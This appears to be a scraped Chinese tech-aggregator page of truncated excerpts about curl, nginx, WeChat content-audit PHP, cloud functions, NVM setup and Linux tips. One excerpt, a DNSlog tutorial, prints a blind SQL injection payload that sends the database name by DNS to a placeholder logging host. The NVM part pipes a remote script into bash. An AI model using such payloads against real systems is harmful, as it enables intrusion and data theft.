curl

小程序接入内容内容审查接口(图片.文字)

浪尽此生 提交于 2020-08-12 02:29:23
今天不知咋回事使用easywechat的内容安全api,不知咋回事.之前还可以使用的这些天突然报这个错,也不知道是不是因为升级还是与其他的冲突, 那怎么办呢,还是用下原生的接口,在这里我获取的token方法还是easywechat的方式 $miniProgram = ZFac::miniProgram($this->config); $token = $miniProgram->access_token->getToken()['access_token']; 具体的代码如下 use EasyWeChat\Factory as ZFac; public function __construct ( Request $request = null ){ $this->config = [ 'app_id' => 'wx412****d45a65', 'secret' => '082dec1*****985b93d286c093e01', // 下面为可选项 // 指定 API 调用返回结果的类型:array(default)/collection/object/raw/自定义类名 'response_type' => 'array', 'log' => [ 'level' => 'debug', 'file' => __DIR__.'/log/wechat.log', ], ]; }

Nginx 目录配置详解

早过忘川 提交于 2020-08-12 01:53:33
进入nginx目录,排除temp文件后,剩余四个目录 [root@elkzabbix01 nginx]# ls -l | grep -v temp 总用量 36 drwxr-xr-x. 2 root root 4096 7月 12 20:42 conf → 配置文件 drwxr-xr-x. 2 root root 4096 7月 12 20:42 html → 站点信息 drwxr-xr-x. 2 root root 4096 7月 12 20:49 logs → 日志信息 drwxr-xr-x. 2 root root 4096 7月 12 20:42 sbin → 启动命令 cd /html 里面有文件 index.html ,这个文件一般默认是网站的首页 下面进入conf文件夹,下面有一个 nginx.conf 文件 运维有一个很重要的思想叫 最小化学习 ,所以我们要把配置文件简化一下: 简化命令: egrep -v "#|^$" nginx.conf >> a.conf ^代表行首 $代表行尾 ^$意思就是行首之后就是行尾,中间什么也没有,所以代表空行 worker_processes 1; 默认进程有一个 一个worker可以处理多少并发连接 events { worker_connections 1024; } 那么有多少个worker呢???可以看配置文件第一行

#小白接口# 使用云函数,人人都能编写和发布自己的API接口

送分小仙女□ 提交于 2020-08-12 01:22:48
你只需编写简单的云函数,就可以实现自己的业务逻辑,发布后就可以生成自己的接口给客户端调用。 果创云支持对云函数进行在线接口编程,进入开放平台 我的接口 - 在线接口编程 ,设计一个新接口,设计和配置好接口参数、接口名称、接口返回后,再把云函数源代码填上,提交审核通过并发布后即可使用。 云函数编写入口: 在线接口编程 。 云函数优势 云函数具有以下特点和优势: 1、无需管理服务器即可运行移动后端代码 2、可在线接口编程,自动生成云接口和接口文档 3、代码简单,功能强大,一行代码就可以实现数据库、短信发送等功能 4、可以开发自己的接口,实现自己的业务逻辑 云函数架构 云函数由开发者自己编写,发布后可生成自己的云接口,即MyAPI,而云函数底层则依赖于果创云提供的基础服务。 因此,云函数整体架构如下: 整体架构分为四层: 第一层:MyAPI我的接口 提供给客户端调用的云接口。 第二层:云函数。 由开发者自己编写,可在线接口编程,编写云函数,生成接口。 第三层:果创云聚合服务 由果创云提供,封装了常用的服务,可进行数据库、CURL、短信等服务操作。 第四层:云服务 由第三方提供的云服务,包括但不限于自建数据库、云数据库、企业邮箱、短信接口、开放平台接口和内部接口等。 云函数格式 当前只支持PHP云函数,开发者自定义的云函数,需要符合PHP语法。其云函数签名和云函数模板如下:

如何使用cURL一次测量请求和响应时间?

旧城冷巷雨未停 提交于 2020-08-11 23:10:24
问题: I have a web service that receives data in JSON format, processes the data, and then returns the result to the requester. 我有一个Web服务,它接收JSON格式的数据,处理数据,然后将结果返回给请求者。 I want to measure the request, response, and total time using cURL . 我想使用 cURL 测量请求,响应和总时间。 My example request looks like: 我的示例请求如下: curl -X POST -d @file server:port and I currently measure this using the time command in Linux: 我目前使用Linux中的 time 命令测量它: time curl -X POST -d @file server:port The time command only measures total time, though - which isn't quite what I am looking for. 时间命令只测量 总 时间 - 这不是我想要的。 Is there any way to

Dnslog在诸多漏洞中的利用方式

僤鯓⒐⒋嵵緔 提交于 2020-08-11 22:53:14
安全学习了大概快半年了,对于诸多漏洞的原理和基础应用大概也基本了解了。 之前都是以‘点(每个漏洞怎样?)’的方式在学习、记忆。现在感觉需要做一些总结: 今天又看到了DNSlog这个词,记起了第一次接触是在SQL盲注那一块知识,后来在SSRF中测试无回显情况中也遇到过,遂想做一下dnslog在诸多漏洞中的利用方式总结。 DNSlog原理: 原理就是:DNS协议有一个不懂就问的特点,向自己的上一级DNS服务器发问(请求解析),电脑在请求域名解析的时候会向DNS服务器请求,我们可以申请一个dns服务器如:ceye.io,因为电脑发出的请求域名如:payload.ceye.io是我们dns服务器的子域,所以它的解析请求就会被我们捕获。 本质:依靠域名解析,把带有payload解析后的域名向DNS服务器请求,从而获取payload解析后的数据 利用点:只要是能够发出域名解析请求的地方都可以用这种方式获取数据。 可以利用DNSlog的漏洞: SQL盲注 XXE(SSRF)(无回显) 命令执行(无回显) XSS(无回显) 1、SQL盲注 //直接上payload演示 http://127.0.0.1/sqli_blind/ ?id=1' and if((select load_file(concat('\\\\',(select database()),'.YourDnsSite.ceye.io

Linux 有用命令

痞子三分冷 提交于 2020-08-11 20:20:34
在Linux下怎么确定哪个网卡对应哪个接口? 有个需求,公司一台CentOS 6.5需要连接外网和内网环境,所以额外安装一块千兆网卡,主板集成的一个,以及千兆网卡的两个,一共三个网卡接口。系统安装完成之后,准备配置IP,那么问题来了? eth0 对应哪个接口, eth1对应哪个接口呢? 豆瓣上: 我的机器上(Ubuntu 8.04)安装了三块网卡,一块RTL8139,一块D-Link(VIA),还有一块是3c509(ISA网卡),Ubuntu找到了前两块,从图形界面,你可以看到每块网卡的名字,但从命令行界面(ifconfig),只能看到eth1和eth2,现在我想知道,eth1和eth2分别对应的是哪块网卡?用什么命令能够看到?或者在哪个文件里能够查到? 解决办法: 执行 # ethtool -p eth0 eth0 对应的网口的灯就会闪烁,你可以分别调用ethtool判断eth1,eth2对应的网口; 注意要在不插网线的时候进行 ,否则看不出来是否因ethtool引起的闪烁; 这个方法是在 "Redhat Magzine" (红帽杂志)上看到的;管理多网口服务器的一个有效的方法; 不下载文件,如何查看文件大小? # curl 添加大写 i 选项 # curl -I # wget --spider linux 与 windows 文件格式转换? 回车和换行 今天,我总算搞清楚"回车

Centos7上Node.js安装

99封情书 提交于 2020-08-11 20:14:42
一、安装NVM curl https://raw.githubusercontent.com/creationix/nvm/master/install.sh | bash source ~/.bashrc 二、查看可用的 Node.js 版本 nvm ls-remote 三、用NVM安装Node.js nvm install v12.16.2 四、设置默认版本 nvm list nvm use v12.16.2 五、使用某个版本运行应用 nvm run v12.16.2 app.js 六、删除不使用的版本 nvm uninstall v4.9.1 来源: oschina 链接: https://my.oschina.net/it110/blog/4316367

记录 curl 提交数据编码 及 javascript 转换 unicode 问题

纵饮孤独 提交于 2020-08-11 17:53:32
1、curl 提交数据编码问题 在 windows 下使用 curl 发送一个 POST 请求的时候,遇到一个问题,传送的参数都不是 UTF-8 编码的。 1、在 git-bash 下测试, locale 都是 UTF-8 ,没有作用,服务端收到的还是 GBK 编码。 2、在 cmd 下测试, chcp 65001 ,没有作用,,服务端收到的还是 GBK 编码。 3、写入脚本文件(sh/bat),在上述两种环境下,都还是 GBK 的。 最后只能是使用 echo 输出数据,然后 curl 从 stdin 读取才行。 echo '{"url":"这里有中文和zimu","time":1526129881}' | \ curl 'http://192.168.17.11:8010/testsvr/post' \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0' \ -H 'Accept: application/json, text/plain, */*' \ -H 'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' \ -H 'Content

202006011052.gist

不羁的心 提交于 2020-08-11 16:24:53
命令行检测kubernetes-dashboard有没有安装好 curl -k http://127.0.0.1:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/# -H "Authorization: eyJhbGciOiJSUzI1NiIsImtpZCI6InJzSm9SRnhhdzE5U0YxVkc4ZlpPME04NlAtakhMdFF4LXFoUG5jV1dPclkifQ

linux的shell编程中的curl,eval命令

删除回忆录丶 提交于 2020-08-11 15:18:41
也是刚刚无意间看到的一个博客介绍了对于shell编程中的curl命令的使用,就去查了一下,curl的用处还是挺大的 curl一个利用URL在命令行下进行工作的文件传输工具 例如: curl www.baidu.com 对进行访问 首先安装curl yum search curl yum -y install curl的版本 然后测试脚本 #!/bin/bash url1='需要访问的地址' .... n=.... #访问的地址个数 num=60 #访问次数 for((j=1;j<=$num;j++)) do for((i=1;i<=$n;i++)) do tempUrl=url$i newUrl=`eval echo '$'"$tempUrl" #eval可以读取一连串的参数,eval会对后面的内容进行两遍扫描,如果内容中没有对其他命令的调用,那么直接输出,如果有,就会将调用的命令执行,然后输出内容 curl $newUrl done # echo '第'$j'次' sleep 60 #睡眠时间 done 来源: oschina 链接: https://my.oschina.net/u/4286012/blog/4484579